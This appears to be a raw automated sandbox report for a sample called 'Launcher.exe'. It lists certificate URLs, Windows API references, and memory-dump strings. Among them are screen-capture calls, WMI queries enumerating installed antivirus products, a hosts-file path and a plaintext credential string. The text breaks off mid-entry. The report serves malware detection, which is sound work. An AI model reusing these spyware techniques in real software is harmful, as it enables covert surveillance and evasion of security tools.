"http://g1.symcb.com/crls/gtglobal.crl0/" Pattern match: "http://g2.symcb.com0l" Pattern match: "http://www.geotrust.com/resources/cps0" Pattern match: "ww.reddit.com/r/gifs" Heuristic match: "a767.dspw65.akamai.net" Heuristic match: "ctldl.windowsupdate.com" Pattern match: "https://www.globalsign.com/repository/03" Pattern match: "crl.microsoft.com/pki/crl/products/microoceraut2011_2011_03_22.crl0^" Pattern match: "www.microsoft.com/pki/certs/microoceraut2011_2011_03_22.crt0" Pattern match: "crl.usertrust.com/addtrustexternalcaroot.crl05" Pattern match: "http://ocsp.usertrust.com0" Pattern match: "http://s2.symcb.com0k" Pattern match: "http://www.symauth.com/rpa0" Pattern match: "http://crl.usertrust.com/usertrustrsacertificationauthority.crl0v" Pattern match: "crt.usertrust.com/usertrustrsaaddtrustca.crt0%" Pattern match: "http://certs.godaddy.com/repository/1301" Pattern match: "http://ocsp.godaddy.com/05" Pattern match: "http://crl.godaddy.com/gdroot-g2.crl0f" Pattern match: "https://certs.godaddy.com/repository/0" Pattern match: "www.verisign.com" Pattern match: "www.microsoft.com/pkiops/docs/repository.htm" Pattern match: "http://crl.securetrust.com/stca.crl0" Pattern match: "http://crl.globalsign.net/root-r2.crl0" Pattern match: "http://logo.verisign.com/vslogo.gif0" Pattern match: "http://cert.startcom.org/sfsca-crl.crl0+" Pattern match: "http://crl.startcom.org/sfsca-crl.crl0" Pattern match: "http://cert.startcom.org/policy.pdf05" Pattern match: "http://cert.startcom.org/intermediate.pdf0" Pattern match: "http://cert.startcom.org/policy.pdf0" Pattern match: "7www.entrust.net/cps_2048" Pattern match: "http://www.certplus.com/crl/class2.crl0" Pattern match: "http://www.microsoft.com0" Pattern match: "0www.entrust.net/cps" Pattern match: "crl.comodoca.com/aaacertificateservices.crl06" Pattern match: "crl.comodo.net/aaacertificateservices.crl0" Pattern match: "http://repository.swisssign.com/0" Pattern match: "www.digicert.com1!0" Pattern match: "crl.microsoft.com/pki/crl/products/miccerlisca2011_2011-03-29.crl0" Pattern match: "www.microsoft.com/pki/certs/miccerlisca2011_2011-03-29.crt0" Pattern match: "crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0z" Pattern match: "http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt07" Heuristic match: "lib.ni" Heuristic match: "ystem.activityhistory.id" Heuristic match: "ystem.appusermodel.id" Heuristic match: "ystem.identityprovider.name" Heuristic match: "ystem.protocol.name" Heuristic match: "ystem.sam.name" Heuristic match: "ystem.structuredquery.is" Heuristic match: "ystem.structuredquery.virtual.cc" Heuristic match: "ystem.structuredquery.virtual.to" Pattern match: "ww.instagram.com/justinbieber" Pattern match: "agram.com/justinbieber" Heuristic match: "cim_computersystem.name" Pattern match: "it.com/r/gifs"54:T4a83,Found URL "http://www.w3.org/2001/xmlschema-instance" - Source: "00000000-00005868.00000000.154394.03310000.00000004.mdmp") Found URL "http://www.w3.org/2001/xmlschema-instance" - Source: "00000000-00005992.00000000.154460.03A20000.00000004.mdmp") Found URL "http://www.w3.org/2001/xmlschema-instance" - Source: "00000000-00005992.00000001.156379.03A20000.00000004.mdmp") Found URL "http://ns.ahttp://ns.adobe.com/xa" - Source: "00000000-00005992.00000001.156379.03C90000.00000004.mdmp") Found URL "http://www.w3.org/1999/02/22-rdf-syntax-ns" - Source: "00000000-00005992.00000001.156379.098F0000.00000004.mdmp") Found URL "http://www.w3.org/2001/xmlschema-instance" - Source: "00000000-00005992.00000002.158297.03A20000.00000004.mdmp") Found URL "http://ns.ahttp://ns.adobe.com/xa" - Source: "00000000-00005992.00000002.158297.03C90000.00000004.mdmp") Found URL "http://www.w3.org/1999/02/22-rdf-syntax-ns" - Source: "00000000-00005992.00000002.158297.098F0000.00000004.mdmp") Found URL "http://www.w3.org/2001/xmlschema-instance" - Source: "00000000-00006308.00000000.154569.028D0000.00000004.mdmp") Found URL "http://crl.comodoca.com/comodorsacertificationauthority.crl0qe0c0;/http://crt.comodoca.com/comodorsaaddtrustca.crt0$http://ocsp.comodoca.com0n+vok4" - Source: "00000000-00006308.00000002.158407.1D7D0000.00000004.mdmp") Found URL "https://www.verisign.com/cps04*0(0&" - Source: "00000000-00006308.00000002.158407.1D7D0000.00000004.mdmp") Found URL "http://crl.verisign.com/pca3.crl0globalsign" - Source: "00000000-00006308.00000002.158407.1D7D0000.00000004.mdmp") Found URL "https://www.alphassl.com/repository/03,0*0(" - Source: "00000000-00006308.00000002.158407.1D7D0000.00000004.mdmp") Found URL "http://crl.globalsign.net/root.crl0=10/0-!http://ocsp.globalsign.com/rootr10%cx.g/8" - Source: "00000000-00006308.00000002.158407.1D7D0000.00000004.mdmp") Found URL "http://s2.symcb.com0^0\0z0r0&http://www.symauth.com/cps0(http://www.symauth.com/rpa00)0'0%http://s1.symcb.com/pca3-g5.crl0symantecpki-1-53303130f$eogtt3;+>%ydigicert" - Source: "00000000-00006308.00000002.158407.1D7D0000.00000004.mdmp") Found URL "http://ocsp.digicert.com0kd0b0@:http://crl3.digicert.com/digicerthighassuranceevrootca.crl0=604020*0(https://www.digicert.com/cps0bt" - Source: "00000000-00006308.00000002.158407.1D7D0000.00000004.mdmp") Found URL "http://g1.symcb.com/crls/gtglobal.crl0/" - Source: "00000000-00006308.00000002.158407.1D7D0000.00000004.mdmp") Found URL "http://g2.symcb.com0le0c0a60301%http://www.geotrust.com/resources/cps0)symantecpki-1-5690xv" - Source: "00000000-00006308.00000002.158407.1D7D0000.00000004.mdmp") Found URL "http://crl.comodoca.com/comodorsacertificationauthority.crl0qe0c0;/http://crt.comodoca.com/comodorsaaddtrustca.crt0$http://ocsp.comodoca.com0z" - Source: "00000000-00006308.00000002.158407.1D7D0000.00000004.mdmp") Found URL "https://www.globalsign.com/repository/03,0*0(" - Source: "00000000-00006308.00000002.158407.1D83B000.00000004.mdmp") Found URL "http://crl.globalsign.net/root.crl0=10/0-!http://ocsp.globalsign.com/rootr10b@dd*v" - Source: "00000000-00006308.00000002.158407.1D83B000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut2011_2011_03_22.crl0^r0p0nbhttp://www.microsoft.com/pki/certs/microoceraut2011_2011_03_22.crt0vs" - Source: "00000000-00006308.00000002.158407.1D83B000.00000004.mdmp") Found URL "http://crl.usertrust.com/addtrustexternalcaroot.crl05)0'0%http://ocsp.usertrust.com0ql" - Source: "00000000-00006308.00000002.158407.1D83B000.00000004.mdmp") Found URL "http://s1.symcb.com/pca3-g5.crl0" - Source: "00000000-00006308.00000002.158407.1D83B000.00000004.mdmp") Found URL "http://s2.symcb.com0kd0b0" - Source: "00000000-00006308.00000002.158407.1D83B000.00000004.mdmp") Found URL "http://www.symauth.com/cps0(http://www.symauth.com/rpa0)symantecpki-1-53403130x" - Source: "00000000-00006308.00000002.158407.1D83B000.00000004.mdmp") Found URL "http://crl.usertrust.com/usertrustrsacertificationauthority.crl0vj0h0?3http://crt.usertrust.com/usertrustrsaaddtrustca.crt0%http://ocsp.usertrust.com0e:5%6$" - Source: "00000000-00006308.00000002.158407.1D83B000.00000004.mdmp") Found URL "http://certs.godaddy.com/repository/1301*go" - Source: "00000000-00006308.00000002.158407.1D83B000.00000004.mdmp") Found URL "http://ocsp.godaddy.com/05.0,0*$http://crl.godaddy.com/gdroot-g2.crl0f?0=0;0301%https://certs.godaddy.com/repository/0jcs1" - Source: "00000000-00006308.00000002.158407.1D83B000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/docs/repository.htmid]2u'b=" - Source: "00000000-00006308.00000002.158407.1D83B000.00000004.mdmp") Found URL "http://crl.securetrust.com/stca.crl0x:rr[" - Source: "00000000-00006308.00000002.158407.1D83B000.00000004.mdmp") Found URL "http://crl.globalsign.net/root-r2.crl0,mnhttp://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt07ya'4iy()>@6t+a6" - Source: "00000000-00006308.00000002.158407.1D83B000.00000004.mdmp") Found URL "http://www.microsoft.com0'6*l1.3.6.1.4.1.311.10.1250905032048z0/^g(o-cejy" - Source: "00000000-00006308.00000002.158407.1D83B000.00000004.mdmp") Found URL "http://www.w3.org/2001/xmlschema-instance" - Source: "00000000-00006668.00000000.154539.029D0000.00000004.mdmp") Found URL "http://www.w3.org/2001/xmlschema-instance" - Source: "00000000-00006668.00000001.156457.029D0000.00000004.mdmp") Found URL "http://www.w3.org/2001/xmlschema-instance" - Source: "00000000-00007364.00000000.154601.036D0000.00000004.mdmp") Found URL "http://www.w3.org/2001/xmlschema-instance" - Source: "00000000-00007364.00000002.157710.036D0000.00000004.mdmp") Found URL "http://www.w3.org/2001/xmlschema-instance" - Source: "00000000-00007468.00000000.155136.02BA0000.00000004.mdmp") Found URL "http://www.w3.org/2001/xmlschema-instance" - Source: "00000000-00007468.00000001.157053.02BA0000.00000004.mdmp") Found URL "http://www.validationtest.contoso.com/test%d.htmlmpoav_forcedeepscan" - Source: "00000000-00007948.00000001.157420.71B61000.00000020.mdmp") Found URL "http://www.w3.org/2001/xmlschema-instance" - Source: "00000000-00007948.00000002.159337.032E0000.00000004.mdmp") Found URL "http://crl.usertrust.com/usertrustrsacertificationauthority.crl0vj0h0?3http://crt.usertrust.com/usertrustrsaaddtrustca.crt0%http://ocsp.usertrust.com0e:5%6$" - Source: "00000000-00007948.00000002.159337.033C1000.00000004.mdmp") Found URL "http://certs.godaddy.com/repository/1301*go" - Source: "00000000-00007948.00000002.159337.033C1000.00000004.mdmp") Found URL "http://ocsp.godaddy.com/05.0,0*$http://crl.godaddy.com/gdroot-g2.crl0f?0=0;0301%https://certs.godaddy.com/repository/0jcs1" - Source: "00000000-00007948.00000002.159337.033C1000.00000004.mdmp") Found URL "http://crl.comodoca.com/comodorsacertificationauthority.crl0qe0c0;/http://crt.comodoca.com/comodorsaaddtrustca.crt0$http://ocsp.comodoca.com0n+vok4" - Source: "00000000-00007948.00000002.159337.033C1000.00000004.mdmp") Found URL "http://g1.symcb.com/crls/gtglobal.crl0/" - Source: "00000000-00007948.00000002.159337.033C1000.00000004.mdmp") Found URL "http://g2.symcb.com0le0c0a60301%http://www.geotrust.com/resources/cps0)symantecpki-1-53902ol!o!yj>9iqmgvw,czcaucooe:j9_($nnew" - Source: "00000000-00007948.00000002.159337.033C1000.00000004.mdmp") Found URL "http://crl.usertrust.com/usertrustrsacertificationauthority.crl0vj0h0?3http://crt.usertrust.com/usertrustrsaaddtrustca.crt0%http://ocsp.usertrust.com0.mnhttp://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt07ya'4iy()>@6t+a6" - Source: "00000000-00007948.00000002.159337.07B00000.00000004.mdmp") Found URL "http://www.microsoft.com0'6*l1.3.6.1.4.1.311.10.1250905032048z0/^g(o-cejy" - Source: "00000000-00007948.00000002.159337.07B00000.00000004.mdmp") Found URL "http://www.microsoft.com/pkiops/crl/micwinpropca2011_2011-10-19.crl0au0s0qehttp://www.microsoft.com/pkiops/certs/micwinpropca2011_2011-10-19.crt0fhttp://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0elq6wo/>" - Source: "00000000-00007948.00000002.159337.07B00000.00000004.mdmp") Found URL "https://wdcp.microsoft.com/wdcp.svc/submitreporthreatspynetscanthreatsdefenderdefender18022.12.17007.18022syste" - Source: "00000000-00007948.00000002.159337.09340000.00000004.mdmp") Found URL "http://www.microsoft.com/powershell" - Source: "00000000-00007948.00000002.159337.09340000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/miccodsigpca_08-31-2010.crl0zn0l0j>http://www.microsoft.com/pki/certs/miccodsigpca_08-31-2010.crt0" - Source: "00000000-00007948.00000002.159337.09340000.00000004.mdmp") Found URL "http://crl.mk?s" - Source: "00000000-00007948.00000002.159337.09340000.00000004.mdmp") Found URL "http://www.microsoft.com/windows1.3.6.1.4.1.311.3.3.1d7" - Source: "00000000-00007948.00000002.159337.09340000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/microoceraut_2010-06-23.crl0zn0l0j>http://www.microsoft.com/pki/certs/microoceraut_2010-06-23.crt01http://www.microsoft.com/pki/docs/cps/default.htm0@$vkt7" - Source: "00000000-00007948.00000002.159337.09340000.00000004.mdmp") Found URL "http://crl.microsoft.com/pki/crl/products/mictimstapca_2010-07-01.crl0zn0l0j>http://www.microsoft.com/pki/certs/mictimstapca_2010-07-01.crt0elq6wo/>" - Source: "00000000-00007948.00000002.159337.09340000.00000004.mdmp") Found URL "http://www.w3.org/2001/xmlschema-instance" - Source: "00000000-00007948.00000003.159704.032E0000.00000004.mdmp") Found URL "http://crl.comodoca.com/comodorsacertificationauthority.crl0qe0c0;/http://crt.comodoca.com/comodorsaaddtrustca.crt0$http://ocsp.comodoca.com0z" - Source: "00000000-00007948.00000003.159704.0335E000.00000004.mdmp") Found URL "http://crl.usertrust.com/usertrustrsacertificationauthority.crl0vj0h0?3http://crt.usertrust.com/usertrustrsaaddtrustca.crt0%http://ocsp.usertrust.com0e:5%6$" - Source: "00000000-00007948.00000003.159704.033C1000.00000004.mdmp") Found URL "http://certs.godaddy.com/repository/1301*go" - Source: "00000000-00007948.00000003.159704.033C1000.00000004.mdmp") Found URL "http://ocsp.godaddy.com/05.0,0*$http://crl.godaddy.com/gdroot-g2.crl0f?0=0;0301%https://certs.godaddy.com/repository/0jcs1" - Source: "00000000-00007948.00000003.159704.033C1000.00000004.mdmp") Found URL "http://crl.comodoca.com/comodorsacertificationauthority.crl0qe0c0;/http://crt.comodoca.com/comodorsaaddtrustca.crt0$http://ocsp.comodoca.com0n+vok4" - Source: "00000000-00007948.00000003.159704.033C1000.00000004.mdmp") Found URL "http://g1.symcb.com/crls/gtglobal.crl0/" - Source: "00000000-00007948.00000003.159704.033C1000.00000004.mdmp") Found URL "http://g2.symcb.com0le0c0a60301%http://www.geotrust.com/resources/cps0)symantecpki-1-53902ol!o!yj>9iqmgvw,czcaucooe:j9_($nnew" - Source: "00000000-00007948.00000003.159704.033C1000.00000004.mdmp") Found URL "http://crl.usertrust.com/usertrustrsacertificationauthority.crl0vj0h0?3http://crt.usertrust.com/usertrustrsaaddtrustca.crt0%http://ocsp.usertrust.com0." (Indicator: "GetDC"; Source: "00000000-00005868.00000000.154394.03310000.00000004.mdmp") Found reference to API "" (Indicator: "GetDC"; Source: "00000000-00005868.00000000.154394.03310000.00000004.mdmp") Found reference to API "" (Indicator: "GetWindowDC"; Source: "00000000-00005868.00000000.154394.03310000.00000004.mdmp") Found reference to API "" (Indicator: "CreateDC"; Source: "00000000-00005868.00000000.154394.03310000.00000004.mdmp") Found reference to API "" (Indicator: "CreateDC"; Source: "00000000-00005868.00000000.154394.03310000.00000004.mdmp") Found reference to API "" (Indicator: "CreateCompatibleBitmap"; Source: "00000000-00005868.00000000.154394.03310000.00000004.mdmp") Found reference to API "" (Indicator: "BitBlt"; Source: "00000000-00005868.00000000.154394.03310000.00000004.mdmp") Found reference to API "" (Indicator: "CreateCompatibleDC"; Source: "00000000-00005868.00000000.154394.03310000.00000004.mdmp") Found reference to API "" (Indicator: "GetDC"; Source: "00000000-00005992.00000000.154460.03A20000.00000004.mdmp, 00000000-00005992.00000001.156379.03A20000.00000004.mdmp, 00000000-00005992.00000002.158297.03A20000.00000004.mdmp") Found reference to API "" (Indicator: "GetDC"; Source: "00000000-00005992.00000000.154460.03A20000.00000004.mdmp, 00000000-00005992.00000001.156379.03A20000.00000004.mdmp, 00000000-00005992.00000002.158297.03A20000.00000004.mdmp") Found reference to API "" (Indicator: "GetWindowDC"; Source: "00000000-00005992.00000000.154460.03A20000.00000004.mdmp, 00000000-00005992.00000001.156379.03A20000.00000004.mdmp, 00000000-00005992.00000002.158297.03A20000.00000004.mdmp") Found reference to API "" (Indicator: "CreateDC"; Source: "00000000-00005992.00000000.154460.03A20000.00000004.mdmp, 00000000-00005992.00000001.156379.03A20000.00000004.mdmp, 00000000-00005992.00000002.158297.03A20000.00000004.mdmp") Found reference to API "" (Indicator: "CreateDC"; Source: "00000000-00005992.00000000.154460.03A20000.00000004.mdmp, 00000000-00005992.00000001.156379.03A20000.00000004.mdmp, 00000000-00005992.00000002.158297.03A20000.00000004.mdmp") Found reference to API "" (Indicator: "CreateCompatibleBitmap"; Source: "00000000-00005992.00000000.154460.03A20000.00000004.mdmp, 00000000-00005992.00000001.156379.03A20000.00000004.mdmp, 00000000-00005992.00000002.158297.03A20000.00000004.mdmp") Found reference to API "" (Indicator: "BitBlt"; Source: "00000000-00005992.00000000.154460.03A20000.00000004.mdmp, 00000000-00005992.00000001.156379.03A20000.00000004.mdmp, 00000000-00005992.00000002.158297.03A20000.00000004.mdmp") Found reference to API "" (Indicator: "CreateCompatibleDC"; Source: "00000000-00005992.00000000.154460.03A20000.00000004.mdmp, 00000000-00005992.00000001.156379.03A20000.00000004.mdmp, 00000000-00005992.00000002.158297.03A20000.00000004.mdmp") Found reference to API "CopyFromScreen" (Indicator: "CopyFromScreen"; Source: "00000000-00006668.00000000.154539.00512000.00000002.mdmp, 00000000-00006668.00000001.156457.14B80000.00000004.mdmp")5a:T4c0,Found reference to API "GetModuleHandleA" (Indicator: "GetModuleHandle"; File: "Launcher.exe") Found reference to API "GetCurrentProcess" (Indicator: "GetCurrentProcess"; File: "Launcher.exe") Found reference to API "GetProcessById" (Indicator: "GetProcessById"; File: "00000000-00006668.00000000.154539.00512000.00000002.mdmp") Found reference to API "GetModuleHandleA" (Indicator: "GetModuleHandle"; Source: "00000000-00005868.00000000.154394.00407000.00000002.mdmp") Found reference to API "GetCurrentProcess" (Indicator: "GetCurrentProcess"; Source: "00000000-00005868.00000000.154394.00407000.00000002.mdmp") Found reference to API "GetModuleHandle" (Indicator: "GetModuleHandle"; Source: "00000000-00006668.00000000.154539.00512000.00000002.mdmp, 00000000-00006668.00000001.156457.14B80000.00000004.mdmp") Found reference to API "GetCurrentProcess" (Indicator: "GetCurrentProcess"; Source: "00000000-00006668.00000000.154539.00512000.00000002.mdmp, 00000000-00006668.00000001.156457.14B80000.00000004.mdmp") Found reference to API "GetProcessById" (Indicator: "GetProcessById"; Source: "00000000-00006668.00000000.154539.00512000.00000002.mdmp, 00000000-00006668.00000001.156457.14B80000.00000004.mdmp")5b:Te41,Found reference to API "GetFileAttributesA" (Indicator: "GetFileAttributes"; File: "Launcher.exe") Found reference to API "GetFileSize" (Indicator: "GetFileSize"; File: "Launcher.exe") Found reference to API "GetTempPathA" (Indicator: "GetTempPath"; File: "Launcher.exe") Found reference to API "GetTempFileNameA" (Indicator: "GetTempFileName"; File: "Launcher.exe") Found reference to API "GetSystemDirectoryA" (Indicator: "GetSystemDirectory"; File: "Launcher.exe") Found reference to API "SHGetSpecialFolderLocation" (Indicator: "SHGetSpecialFolderLocation"; File: "Launcher.exe") Found reference to API "GetFileVersionInfoA" (Indicator: "GetFileVersionInfo"; File: "Launcher.exe") Found reference to API "GetFileVersionInfoSizeA" (Indicator: "GetFileVersionInfo"; File: "Launcher.exe") Found reference to API "GetFileVersionInfoSizeA" (Indicator: "GetFileVersionInfoSize"; File: "Launcher.exe") Found reference to API "GetTempPath" (Indicator: "GetTempPath"; File: "00000000-00006668.00000000.154539.00512000.00000002.mdmp") Found reference to API "GetTempFileName" (Indicator: "GetTempFileName"; File: "00000000-00006668.00000000.154539.00512000.00000002.mdmp") Found reference to API "GetFileAttributesA" (Indicator: "GetFileAttributes"; Source: "00000000-00005868.00000000.154394.00407000.00000002.mdmp") Found reference to API "GetFileSize" (Indicator: "GetFileSize"; Source: "00000000-00005868.00000000.154394.00407000.00000002.mdmp") Found reference to API "GetTempPathA" (Indicator: "GetTempPath"; Source: "00000000-00005868.00000000.154394.00407000.00000002.mdmp") Found reference to API "GetTempFileNameA" (Indicator: "GetTempFileName"; Source: "00000000-00005868.00000000.154394.00407000.00000002.mdmp") Found reference to API "GetSystemDirectoryA" (Indicator: "GetSystemDirectory"; Source: "00000000-00005868.00000000.154394.00407000.00000002.mdmp") Found reference to API "SHGetSpecialFolderLocation" (Indicator: "SHGetSpecialFolderLocation"; Source: "00000000-00005868.00000000.154394.00407000.00000002.mdmp") Found reference to API "GetFileVersionInfoA" (Indicator: "GetFileVersionInfo"; Source: "00000000-00005868.00000000.154394.00407000.00000002.mdmp") Found reference to API "GetFileVersionInfoSizeA" (Indicator: "GetFileVersionInfo"; Source: "00000000-00005868.00000000.154394.00407000.00000002.mdmp") Found reference to API "GetFileVersionInfoSizeA" (Indicator: "GetFileVersionInfoSize"; Source: "00000000-00005868.00000000.154394.00407000.00000002.mdmp") Found reference to API "Win32API|File Installation Library Functions|GetFileVersionInfo" (Indicator: "GetFileVersionInfo"; Source: "00000000-00006308.00000001.156488.1D7D0000.00000004.mdmp") Found reference to API "GetTempPath" (Indicator: "GetTempPath"; Source: "00000000-00006668.00000000.154539.00512000.00000002.mdmp, 00000000-00006668.00000001.156457.14B80000.00000004.mdmp") Found reference to API "GetTempFileName" (Indicator: "GetTempFileName"; Source: "00000000-00006668.00000000.154539.00512000.00000002.mdmp, 00000000-00006668.00000001.156457.14B80000.00000004.mdmp") Found reference to API "Win32API|System Information Functions|GetSystemDirectory" (Indicator: "GetSystemDirectory"; Source: "00000000-00006668.00000001.156457.1DEA8000.00000004.mdmp") Found reference to API "Win32API|File Installation Library Functions|GetFileVersionInfo" (Indicator: "GetFileVersionInfo"; Source: "00000000-00006668.00000001.156457.1DEA8000.00000004.mdmp") Found reference to API "Win32API|File Installation Library Functions|GetFileVersionInfo" (Indicator: "GetFileVersionInfo"; Source: "00000000-00007364.00000001.156522.1E4A0000.00000004.mdmp")5c:T450,Found string "username: adminpassword: password123" (Indicator: "password"; File: "credentials.txt") Found string "passwordFormat="Hashed"" (Indicator: "password"; Source: "00000000-00006308.00000001.156488.1D7D0000.00000004.mdmp, 00000000-00006308.00000002.158407.1D7D0000.00000004.mdmp") Found string "passwordAttemptWindow="10"" (Indicator: "password"; Source: "00000000-00006308.00000001.156488.1D7D0000.00000004.mdmp, 00000000-00006308.00000002.158407.1D7D0000.00000004.mdmp") Found string "passwordStrengthRegularExpression="" />" (Indicator: "password"; Source: "00000000-00006308.00000001.156488.1D7D0000.00000004.mdmp, 00000000-00006308.00000002.158407.1D7D0000.00000004.mdmp") Found string "passwordFormat="Hashed"" (Indicator: "password"; Source: "00000000-00007364.00000001.156522.1E4A0000.00000004.mdmp") Found string "passwordAttemptWindow="10"" (Indicator: "password"; Source: "00000000-00007364.00000001.156522.1E4A0000.00000004.mdmp") Found string "passwordStrengthRegularExpression="" />" (Indicator: "password"; Source: "00000000-00007364.00000001.156522.1E4A0000.00000004.mdmp")5d:T138a,Found string "ECT * FROM Win32_VideoController" (Indicator: " Win32_VideoController"; File: "00000000-00006668.00000000.154539.00512000.00000002.mdmp") Found string "instance of Win32_VideoController" (Indicator: " Win32_VideoController"; Source: "00000000-00006308.00000001.156488.1D7D0000.00000004.mdmp, 00000000-00006308.00000002.158407.1D7D0000.00000004.mdmp, 00000000-00006308.00000002.158407.1D83B000.00000004.mdmp") Found string "instance of Win32_Processor" (Indicator: " Win32_Process"; Source: "00000000-00006308.00000001.156488.1D7D0000.00000004.mdmp, 00000000-00006308.00000002.158407.1D7D0000.00000004.mdmp, 00000000-00006308.00000002.158407.1D83B000.00000004.mdmp") Found string "instance of Win32_Processor" (Indicator: " Win32_Processor"; Source: "00000000-00006308.00000001.156488.1D7D0000.00000004.mdmp, 00000000-00006308.00000002.158407.1D7D0000.00000004.mdmp, 00000000-00006308.00000002.158407.1D83B000.00000004.mdmp") file/memory contains long string with (Indicator: " Win32_VideoController"; Source: "00000000-00006308.00000001.156488.1D7D0000.00000004.mdmp") Found string "CIM_PCVideoController" (Indicator: "CIM_PCVideoController"; Source: "00000000-00006308.00000001.156488.1D7D0000.00000004.mdmp") Found string "instance of Win32_OperatingSystem" (Indicator: " Win32_OperatingSystem"; Source: "00000000-00006308.00000002.158407.1D7D0000.00000004.mdmp") Found string "8bselect * from Win32_VideoController" (Indicator: " Win32_VideoController"; Source: "00000000-00006308.00000002.158407.1D83B000.00000004.mdmp") Found string "e of Win32_Processor" (Indicator: " Win32_Process"; Source: "00000000-00006308.00000002.158407.1D83B000.00000004.mdmp") Found string "e of Win32_Processor" (Indicator: " Win32_Processor"; Source: "00000000-00006308.00000002.158407.1D83B000.00000004.mdmp") Found string "Select * From Win32_ComputerSystem" (Indicator: " Win32_ComputerSystem"; Source: "00000000-00006308.00000002.158407.1D83B000.00000004.mdmp") Found string "elect * from AntivirusProduct" (Indicator: "antivirusproduct"; Source: "00000000-00006668.00000000.154539.00512000.00000002.mdmp, 00000000-00006668.00000001.156457.14B80000.00000004.mdmp") Found string "ELECT * FROM Win32_VideoController" (Indicator: " Win32_VideoController"; Source: "00000000-00006668.00000000.154539.00512000.00000002.mdmp, 00000000-00006668.00000001.156457.14B80000.00000004.mdmp") Found string "\\DESKTOP-FVVF82A\ROOT\SecurityCenter2:AntiVirusProduct.instanceGuid="{D68DDC3A-831F-4fae-9E44-DA132C1ACF46}"" (Indicator: "antivirusproduct"; Source: "00000000-00006668.00000001.156457.029D0000.00000004.mdmp") Found string "of Win32_VideoController" (Indicator: " Win32_VideoController"; Source: "00000000-00006668.00000001.156457.1DE10000.00000004.mdmp") Found string "instance of AntiVirusProduct" (Indicator: "antivirusproduct"; Source: "00000000-00006668.00000001.156457.1DE10000.00000004.mdmp") Found string "Select * from AntivirusProduct" (Indicator: "antivirusproduct"; Source: "00000000-00006668.00000001.156457.1DE10000.00000004.mdmp") Found string "instance of Win32_VideoController" (Indicator: " Win32_VideoController"; Source: "00000000-00006668.00000001.156457.1DE10000.00000004.mdmp, 00000000-00006668.00000001.156457.1DEA8000.00000004.mdmp") Found string "instance of Win32_OperatingSystem" (Indicator: " Win32_OperatingSystem"; Source: "00000000-00006668.00000001.156457.1DE10000.00000004.mdmp") Found string "AntiVirusProduct" (Indicator: "antivirusproduct"; Source: "00000000-00006668.00000001.156457.1DE10000.00000004.mdmp, 00000000-00006668.00000001.156457.1DEA8000.00000004.mdmp") Found string "SELECT * FROM Win32_VideoController" (Indicator: " Win32_VideoController"; Source: "00000000-00006668.00000001.156457.1DE10000.00000004.mdmp") Found string "86select * from Win32_OperatingSystem" (Indicator: " Win32_OperatingSystem"; Source: "00000000-00006668.00000001.156457.1DE10000.00000004.mdmp") Found string "\DESKTOP-FVVF82A\ROOT\SecurityCenter2:AntiVirusProduct.instanceGuid="{D68DDC3A-831F-4fae-9E44-DA132C1ACF46}"" (Indicator: "antivirusproduct"; Source: "00000000-00006668.00000001.156457.1DE10000.00000004.mdmp") Found string "of Win32_OperatingSystem" (Indicator: " Win32_OperatingSystem"; Source: "00000000-00006668.00000001.156457.1DE10000.00000004.mdmp") Found string "CIM_PCVideoController" (Indicator: "CIM_PCVideoController"; Source: "00000000-00006668.00000001.156457.1DEA8000.00000004.mdmp") Found string "instance of Win32_Processor" (Indicator: " Win32_Process"; Source: "00000000-00007364.00000001.156522.1E4A0000.00000004.mdmp, 00000000-00007364.00000002.157710.036D0000.00000004.mdmp") Found string "instance of Win32_Processor" (Indicator: " Win32_Processor"; Source: "00000000-00007364.00000001.156522.1E4A0000.00000004.mdmp, 00000000-00007364.00000002.157710.036D0000.00000004.mdmp") Found string "e of Win32_VideoController" (Indicator: " Win32_VideoController"; Source: "00000000-00007364.00000001.156522.1E4A0000.00000004.mdmp")5e:Td42,Found string "\drivers\etc\hosts" (Indicator: "\drivers\"; File: "00000000-00006668.00000000.154539.00512000.00000002.mdmp") Found string "NDOWS\system32\DRIVERS" (Indicator: "system32\drivers"; Source: "00000000-00005868.00000000.154394.03310000.00000004.mdmp") Found string "NDOWS\system32\DriverStore\FileRepository" (Indicator: "system32\drivers"; Source: "00000000-00005868.00000000.154394.03310000.00000004.mdmp") Found string "\Device\HarddiskVolume1\??\Volume{815ead30-0000-00" (Indicator: "\Device\"; Source: "00000000-00005868.00000000.154394.03310000.00000004.mdmp") Found string ":\WINDOWS\system32\DRIVERS" (Indicator: "system32\drivers"; Source: "00000000-00005992.00000000.154460.03A20000.00000004.mdmp, 00000000-00005992.00000001.156379.03A20000.00000004.mdmp, 00000000-00005992.00000002.158297.03A20000.00000004.mdmp") Found string ":\WINDOWS\system32\DriverStore\FileRepository" (Indicator: "system32\drivers"; Source: "00000000-00005992.00000000.154460.03A20000.00000004.mdmp, 00000000-00005992.00000001.156379.03A20000.00000004.mdmp, 00000000-00005992.00000002.158297.03A20000.00000004.mdmp") Found string "\Device\HarddiskVolume2\Windows\Microsoft.NET\Framework64\v4.0.30319\mscoreei.dll" (Indicator: "\Device\"; Source: "00000000-00006308.00000000.154569.028D0000.00000004.mdmp") Found string ":\WINDOWS\system32\DRIVERS" (Indicator: "system32\drivers"; Source: "00000000-00006308.00000000.154569.028D0000.00000004.mdmp") Found string "BootDevice = "\\Device\\HarddiskVolume1";" (Indicator: "\Device\"; Source: "00000000-00006308.00000002.158407.1D7D0000.00000004.mdmp") Found string ":\WINDOWS\system32\DriverStore\FileRepository" (Indicator: "system32\drivers"; Source: "00000000-00006308.00000002.158407.1D83B000.00000004.mdmp") Found string "evice = '\\Device\\HarddiskVolume1';BuildNumber = '16299';BuildT" (Indicator: "\Device\"; Source: "00000000-00006308.00000002.158407.1D83B000.00000004.mdmp") Found string "\Device\HarddiskVolume2\Windows\Microsoft.NET\Framework64\v4.0.30319\mscoreei.dll" (Indicator: "\Device\"; Source: "00000000-00006668.00000000.154539.029D0000.00000004.mdmp, 00000000-00006668.00000001.156457.029D0000.00000004.mdmp") Found string ":\WINDOWS\system32\DRIVERS" (Indicator: "system32\drivers"; Source: "00000000-00006668.00000001.156457.029D0000.00000004.mdmp") Found string "BootDevice = "\\Device\\HarddiskVolume1";" (Indicator: 